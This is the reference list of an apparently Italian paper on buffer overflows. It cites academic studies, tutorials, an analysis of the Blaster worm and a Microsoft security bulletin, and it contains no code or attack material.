[1] Gillette: A Unique Examination of the Buffer Overflow Condition
[2] Fayolle, Glaume: A Buffer Overflow Study – Attacks and Defenses
[3] Cowan, Wagle, Pu, Beattie, Walpole: Buffer Overflows: Attacks and Defenses for the
Vulnerability of the Decade
[4] Foster, Osipov, Bhalla, Heinen: Buffer Overflow Attacks – Detect, Exploit, Prevent
[5] Siti http://en.wikipedia.org e http://it.wikipedia.org
[6] Alfano, Chirico, Moscariello, Palumbo, Santoro: Il Worm Blaster – Il Superbug di Windows
[7] Auriemma: Buffer overflow: spiegazione tecnica ed esempio pratico
[8] Dapino: Tecniche: Buffer Overflow
[9] R[]l4nD: Guida al Buffer Overflow, al calcolo di uno shellcode e alla stesura di un exploit
[10] Piccardi: GaPiL
[11] Wheeler: Secure programmer: Countering buffer overflows
[12] Sito www.informit.com : Understanding Buffer Overflows
[13] Microsoft Security Bulletin MS03-026
27